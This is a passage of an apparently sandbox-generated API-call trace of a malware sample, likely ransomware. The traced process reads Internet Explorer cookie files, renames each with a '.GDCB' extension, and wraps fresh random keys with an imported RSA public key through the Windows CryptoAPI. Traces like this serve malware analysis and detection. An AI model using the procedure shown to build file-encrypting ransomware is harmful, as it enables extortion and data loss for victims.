dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.805] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.806] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.807] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x90, lpOverlapped=0x0) returned 1 [0191.815] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.820] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\V7NNCJHO.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\v7nncjho.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\V7NNCJHO.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\v7nncjho.txt.gdcb")) returned 1 [0191.826] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.827] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.828] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.828] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.828] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.828] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.829] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.830] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.830] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.830] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.830] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0191.833] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038050) returned 1 [0191.833] CryptGetKeyParam (in: hKey=0x5038050, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.833] CryptEncrypt (in: hKey=0x5038050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.833] GetLastError () returned 0x0 [0191.833] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.833] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.835] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038750) returned 1 [0191.835] CryptGetKeyParam (in: hKey=0x5038750, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.835] CryptEncrypt (in: hKey=0x5038750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.836] GetLastError () returned 0x0 [0191.836] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.836] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\VD3GM2DA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\vd3gm2da.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.838] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.839] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.840] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xae, lpOverlapped=0x0) returned 1 [0191.848] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.853] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\VD3GM2DA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\vd3gm2da.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\VD3GM2DA.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\vd3gm2da.txt.gdcb")) returned 1 [0191.866] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0191.868] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.868] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.868] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.868] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.870] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.870] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.870] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.870] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.871] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.873] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50387d0) returned 1 [0191.873] CryptGetKeyParam (in: hKey=0x50387d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.873] CryptEncrypt (in: hKey=0x50387d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.873] GetLastError () returned 0x0 [0191.873] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.873] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.875] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038210) returned 1 [0191.875] CryptGetKeyParam (in: hKey=0x5038210, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.875] CryptEncrypt (in: hKey=0x5038210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.875] GetLastError () returned 0x0 [0191.875] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.875] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WPEXKTDV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wpexktdv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.877] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.879] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.880] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x17c, lpOverlapped=0x0) returned 1 [0191.888] VirtualAlloc (lpAddress=0x0, dwSize=0x180, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.893] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WPEXKTDV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wpexktdv.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WPEXKTDV.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wpexktdv.txt.gdcb")) returned 1 [0191.898] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.901] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.901] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.901] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.901] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.902] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.903] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.903] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.903] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.906] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50381d0) returned 1 [0191.906] CryptGetKeyParam (in: hKey=0x50381d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.906] CryptEncrypt (in: hKey=0x50381d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.906] GetLastError () returned 0x0 [0191.906] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.906] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.909] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038810) returned 1 [0191.909] CryptGetKeyParam (in: hKey=0x5038810, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.909] CryptEncrypt (in: hKey=0x5038810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.909] GetLastError () returned 0x0 [0191.909] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.909] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WUT8M1Q8.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wut8m1q8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.911] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.913] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.913] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x16a, lpOverlapped=0x0) returned 1 [0191.922] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.930] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WUT8M1Q8.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wut8m1q8.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WUT8M1Q8.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wut8m1q8.txt.gdcb")) returned 1 [0191.935] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.937] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.938] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.938] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.938] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.938] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0191.939] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.940] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.940] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.940] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.940] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0191.942] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50380d0) returned 1 [0191.942] CryptGetKeyParam (in: hKey=0x50380d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.942] CryptEncrypt (in: hKey=0x50380d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.943] GetLastError () returned 0x0 [0191.943] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.943] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.944] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038890) returned 1 [0191.945] CryptGetKeyParam (in: hKey=0x5038890, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.945] CryptEncrypt (in: hKey=0x5038890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.945] GetLastError () returned 0x0 [0191.945] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.945] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WX75TEOR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wx75teor.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.947] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.948] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.949] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x11a, lpOverlapped=0x0) returned 1 [0191.958] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.963] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WX75TEOR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wx75teor.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WX75TEOR.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wx75teor.txt.gdcb")) returned 1 [0191.969] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.970] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.971] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.971] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.971] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.971] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0191.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.974] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.974] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.974] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0191.974] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.976] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038f10) returned 1 [0191.976] CryptGetKeyParam (in: hKey=0x5038f10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.976] CryptEncrypt (in: hKey=0x5038f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.976] GetLastError () returned 0x0 [0191.976] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.976] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.979] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50388d0) returned 1 [0191.979] CryptGetKeyParam (in: hKey=0x50388d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.979] CryptEncrypt (in: hKey=0x50388d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.979] GetLastError () returned 0x0 [0191.979] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.979] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\XRS5D0N2.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\xrs5d0n2.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.981] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.983] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.984] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x113, lpOverlapped=0x0) returned 1 [0191.992] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.998] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\XRS5D0N2.txt" (normalized: 